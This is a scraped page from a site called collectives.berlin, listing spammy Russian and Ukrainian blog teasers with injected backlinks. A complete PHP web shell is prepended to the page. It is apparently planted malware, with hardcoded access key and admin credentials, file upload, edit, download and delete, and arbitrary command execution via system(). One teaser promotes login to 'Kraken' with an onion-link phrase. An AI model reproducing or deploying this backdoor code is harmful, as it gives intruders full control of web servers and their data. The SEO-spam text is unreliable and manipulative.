if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 9 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Инструкция Входа в Кракен 2026

    В 2026 году платформа Кракен продолжает оставаться одним из ведущих игроков на рынке криптовалют, предлагая пользователям широкий спектр услуг, включая торговлю, кракен онион ссылка обмен и хранение цифровых активов. Для новых пользователей важным шагом является правильный вход в систему, что обеспечивает безопасность и удобство использования платформы. В данной инструкции мы рассмотрим процесс входа в Кракен,…

    Click or not…

  • Як правильно доглядати за пупковою ранкою у новонароджених

    Важливо підтримувати чистоту в зоні, де знаходиться пупковий залишок, щоб запобігти інфекціям. Регулярно перевіряйте його стан – він повинен бути сухим і без зміни кольору. Якщо спостерігаєте будь-які тривожні симптоми, mama-choli.com.ua наприклад, почервоніння або виділення, слід негайно звернутися до педіатра. Використовуйте стерильні матеріали для очищення: найкраще підходять ватні палички, змочені у фізіологічному розчині або кип’яченій…

    Click or not…

  • Догляд за кутикулою: основні поради

    Догляд за кутикулою є важливою частиною манікюру, яка часто залишається без належної уваги. Кутикулу слід підтримувати в ідеальному стані, щоб запобігти різним проблемам, nailsforyou.com.ua таким як запалення, інфекції або навіть вростання нігтів. У цьому звіті ми розглянемо основні поради щодо догляду за кутикулою, які допоможуть зберегти її здоров’я та естетичний вигляд. Що таке кутикула? Кутикула…

    Click or not…

  • Оригінальні принти українських дизайнерів в сучасній моді

    Зверніть увагу на продукцію українських кутюр’є, які вражають креативністю та глибиною задумів. Численні колекції демонструють різноманіття стилів, https://karolinka.com.ua/ вишукані деталі та неповторні елементи, які здатні додати родзинку до будь-якого гардеробу. Від стильних футболок до елегантних суконь, ви знайдете варіанти на будь-який смак. Якщо прагнете додати до свого образу щось по-справжньому незабутнє, ознайомтеся з роботами молодих…

    Click or not…

  • Як швидко і легко очистити вікна без розводів і слідів

    Використовуйте розчин з води та оцту у співвідношенні 1:1, koketka.com.ua щоб досягти блискучого результату. Змочивши чисту тканину у цьому розчині, протріть поверхні, щоб позбутися будь-яких забруднень. Додайте до свого арсеналу склоочисник з аміаком. Невелика кількість завдяки своїй активності швидко видалить навіть найстійкіші плями. Нанесіть на чистячу серветку і просто протріть. Не забувайте про мікрофіброві серветки.…

    Click or not…

  • Як вибрати графічний планшет для художника без зайвих складнощів

    Розглядайте пристрої з технологією чутливості до тиску у щонайменше 4096 рівнях, адже це дозволяє забезпечити детальні штрихи та точність у ваших роботах. Підбирайте моделі з великим активним полем – мінімум 10 дюймів по діагоналі, https://itcent.com.ua/ щоб не стикатися з обмеженнями при роботі. Аналізуйте функції програмного забезпечення, що йдуть у комплекті. Багато сучасних рішень підтримують популярні…

    Click or not…

  • Розминка для покращення спортивних результатів та запобігання травм

    Перш ніж розпочати кожен сеанс фізичної активності, важливо виконати низку спеціальних вправ. Це допоможе підготувати м’язи та суглоби, https://popsport.com.ua зменшивши ймовірність травм. Зосередьтесь на динамічних розтяжках: обертання рук, нахили, випади, присідання. Кожна із зазначених вправ активує різні групи м’язів, покращуючи їх еластичність. Проведіть 5-10 хвилин на активні рухи, як от стрибки на місці або короткі…

    Click or not…

  • Методи захисту особистих даних в Інтернеті для користувачів

    Завжди використовуйте унікальні комбінації для різних акаунтів. Ніколи не повторюйте паролі між платформами. Рекомендовано обирати комбінації з великих і малих літер, goodtech.com.ua цифр і спеціальних символів для підвищення складності. Використання двофакторної аутентифікації значно знижує ризики несанкціонованого доступу. Підключайте цей метод на всіх доступних ресурсах, він додає додатковий рівень захисту, навіть якщо ваш пароль зламано. Регулярно…

    Click or not…

  • Кар’єра Джонні Деппа його досягнення та суперечливі моменти

    Досягнення в кінематографі Визнання у галузі розваг розпочалося з головних ролей у культових фільмах. Різні нагороди, https://driver.in.ua/ включно з Оскаром, підтверджують його виняткові акторські здібності. Значні успіхи є у таких стрічках, як «Пірати Карибського моря», де роль пірата створила культовий образ. Багато фільмів з його участю стали комерційно успішними, включаючи «Сонний прогін» та «Ромовий щоденник».…

    Click or not…

  • Складська нерухомість як перспективний інвестиційний актив

    Придбання складських приміщень може стати вигідною стратегією для інвесторів, https://architector.com.ua/ які прагнуть диверсифікувати свій портфель. Фактори, що сприяють зростанню цього сегмента, включають збільшений обсяг електронної комерції, а також потребу в логістичних послугах. У містах з високою інфраструктурною розвиненістю попит на такі об’єкти зростає пропорційно до життєвого циклу бізнес-інтересів. Згідно з аналітичними даними, середня рентабельність інвестицій…

    Click or not…